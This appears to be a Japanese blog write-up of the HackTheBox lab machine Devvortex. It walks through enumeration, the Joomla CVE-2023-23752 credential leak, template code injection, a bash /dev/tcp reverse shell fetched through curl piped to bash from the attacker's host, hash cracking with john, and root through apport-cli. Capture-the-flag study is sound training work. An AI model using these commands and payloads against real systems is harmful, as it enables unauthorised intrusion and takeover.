1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

0.はじめに

hacktheboxのDevvortex攻略方法です
知らないと気づけないという要素が少なくてサブドメイン検証、リバースシェルの起動方法、mysqlの調査、johnを使ったハッシュ値の解析など基本的要素が詰まった良い題材です

1.ポートスキャン

①開いてるポートの確認

nmap -sT 10.10.11.242

image.png
22と80ポートが空いてるのでより詳細な情報を次に収集します

②ポートの詳細を確認

nmap -sC -sV -sT -p 22,80 10.10.11.242

image.png
「http-title: Did not follow redirect to 〜」という情報があるのでまずはhostsにドメイン名を追加する方が良さそうです

2.webサイトの調査

①hostsファイルにドメイン名を追加

cd /etc/ 
sudo nano hosts
10.10.11.242       devvortex.htb

image.png
「1.ポートスキャン」の結果からdevvortex.htbをhostsに追加しました
これで問題無くWebサイトにアクセス出来るはずなので、ブラウザからアクセスしてみます

②webサイトにアクセス

http://10.10.11.242

image.png
先ほどhostsにdevvortex.htbを追加しているのでIPアドレスでアクセスしていますが上手くdevvortex.htbに遷移しています
特に怪しい情報もないのでディレクトリを調べてみます

③ディレクトリ調査

gobuster dir -u devvortex.htb -w /usr/share/wordlists/dirb/common.txt

IPで指定するとエラーになったのでドメイン名で指定すること

image.png
特に手掛かりになるものが無かったので、更にサブドメインも調査します

④サブドメイン調査

gobuster vhost -w /usr/share/wordlists/wfuzz/general/common.txt --append-domain -u http://devvortex.htb -t 5

・「subdomains-top1million-5000.txt」のリストで最初は調査しましたが検証出来なかったので「/usr/share/wordlists/wfuzz/general/common.txt」を使用してください

・「context deadline exceeded 」のエラーが発生した場合にはオプションで「-t 5」のようにする(デフォルトは10)

image.png
「@.devvortex.htb」と「dev.devvortex.htb」が検証されました
特に「dev.devvortex.htb」は名前から開発時の情報が残っている可能性があるのでこちらを調べてみます

④ー1hostsファイルにサブドメイン名を追加する
今回の場合には以下の値

cd /etc/ 
sudo nano hosts
10.10.11.242       dev.devvortex.htb

④ー2サブドメイン名でwebサイトにアクセス

http://dev.devvortex.htb

image.png

④ー3サブドメインに対してディレクトリ調査をする

gobuster dir -u dev.devvortex.htb -w /usr/share/wordlists/dirb/common.txt

image.png
(途中省略)
image.png
「administrator」があるのでこれに注目する

⑤検証した「administrator」のwebサイトにアクセス

http://dev.devvortex.htb/administrator/

Joomlaというコンテンツ管理システムが動いているのが確認出来る
image.png

⑥Joomlaのバージョン確認

http://dev.devvortex.htb/administrator/manifests/files/joomla.xml

Joomlaのバージョン情報は「administrator/manifests/files/joomla.xml」にある
4.2.6のバージョンであることがわかる
image.png

3.joomla 4.2.6の調査

①Webサイトでの調査

https://vulncheck.com/blog/joomla-for-rce

CVE-2023-23752の脆弱性があるらしい

②CVE-2023-23752の脆弱性を利用して認証情報を取得

curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true -vv

上記コマンドを実行することで認証情報を取得
user:lewis
password:P4ntherg0t1n5r3c0n##
image.png

③認証情報を利用してログイン

http://dev.devvortex.htb/administrator/

user:lewis
password:P4ntherg0t1n5r3c0n##
image.png

④コマンドを実行出来るかの確認
④ー1「System」に移動
image.png

④ー2「Site Templates」をクリック
image.png

④ー3「Cassiopeia Details and Files」をクリック
image.png

④ー4「error.php」をクリック
image.png

④ー5以下のコマンドを2行目に追加して「Save」をクリック

system("whoami");

image.png

④ー6以下のURLにアクセスしてwhoamiの結果が表示されれば成功

http://dev.devvortex.htb/templates/cassiopeia/error.php

このコマンド内容を変えることでリバースシェルを行う
image.png

4.リバースシェル

①攻撃端末で待ち受け状態にする

nc -lvnp 5600

image.png

②自端末のIPを取得

ifconfig

image.png

③リバース接続用のシェルを作成する

nano re.sh
bash -i >& /dev/tcp/10.10.16.11/5600 0>&1

image.png

④httpサーバを起動

python3 -m http.server 8000

image.png

⑤「error.php」に対して、以下のコマンドを2行目に追加して「Save」をクリック

system("curl 10.10.16.11:8000/re.sh|bash”);

image.png

⑥以下のURLにアクセス

http://dev.devvortex.htb/templates/cassiopeia/error.php

更新中のようになるが待ち受けていたシェルに反応があればよい
image.png

⑦待ち受けていたシェルに接続が発生する
image.png

⑧このままでも操作可能だが以下を実行してから使う方が操作しやすい

script /dev/null -c bash

image.png

5.リバースシェル獲得後の調査

①開いているポートを確認

ss -tln
ss -tlr

実行結果からmysqlが動いていると判明する
image.png

②mysqlに既知のユーザ情報で接続してみる

mysql -u lewis -pP4ntherg0t1n5r3c0n##

「-p」オプションはスペースを開けない

image.png
接続に成功したのでmysqlの調査を進めていきます

6.mysqlの調査

show databases;
use joomla;
show tables;
select * from sd4fg_users;

SQLの実行結果からloganのハッシュ値を取得
image.png
(途中省略)
image.png

7.パスワードの解析

①ハッシュ値ファイルを作成
ユーザ名:ハッシュ値で作成する
image.png

②johnを利用してハッシュ値を解析

john -w=/usr/share/wordlists/rockyou.txt hash.txt

解析結果としてtequieromuchoを取得
image.png

8.sshで接続

①取得したパスワードでssh接続する

ssh logan@10.10.11.242
パスワード:tequieromucho

image.png

②userフラグの取得

cat user.txt

image.png
ssh接続後はloganのホームディレクトリにいるはずです
userフラグがあるので取得してください

9.権限昇格のための調査

①特権ユーザで実行できるコマンドの調査

sudo -l
パスワード:tequieromucho

apport-cliが利用出来そうなので調査する
image.png

②apport-cliのバージョンを確認

/usr/bin/apport-cli --version

image.png
2.20.11ということが判明します

③CVEを調査する

https://github.com/diego-tella/CVE-2023-1326-PoC

2.26.0以前で有効な権限昇格があるので利用する

10. root権限取得

①実行中のプロセス一覧を取得

ps -ux

systemdのPIDをメモする
image.png

②以下のコマンドを実行

sudo /usr/bin/apport-cli -f -P 1093
Y
Y
V
!/bin/bash

image.png

image.png

最終的に以下の画面に遷移する
image.png

③rootフラグの取得

cat /root/root.txt

image.png

11.おわりに

始めての記事です
攻略時に残していた資料から作成しました

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?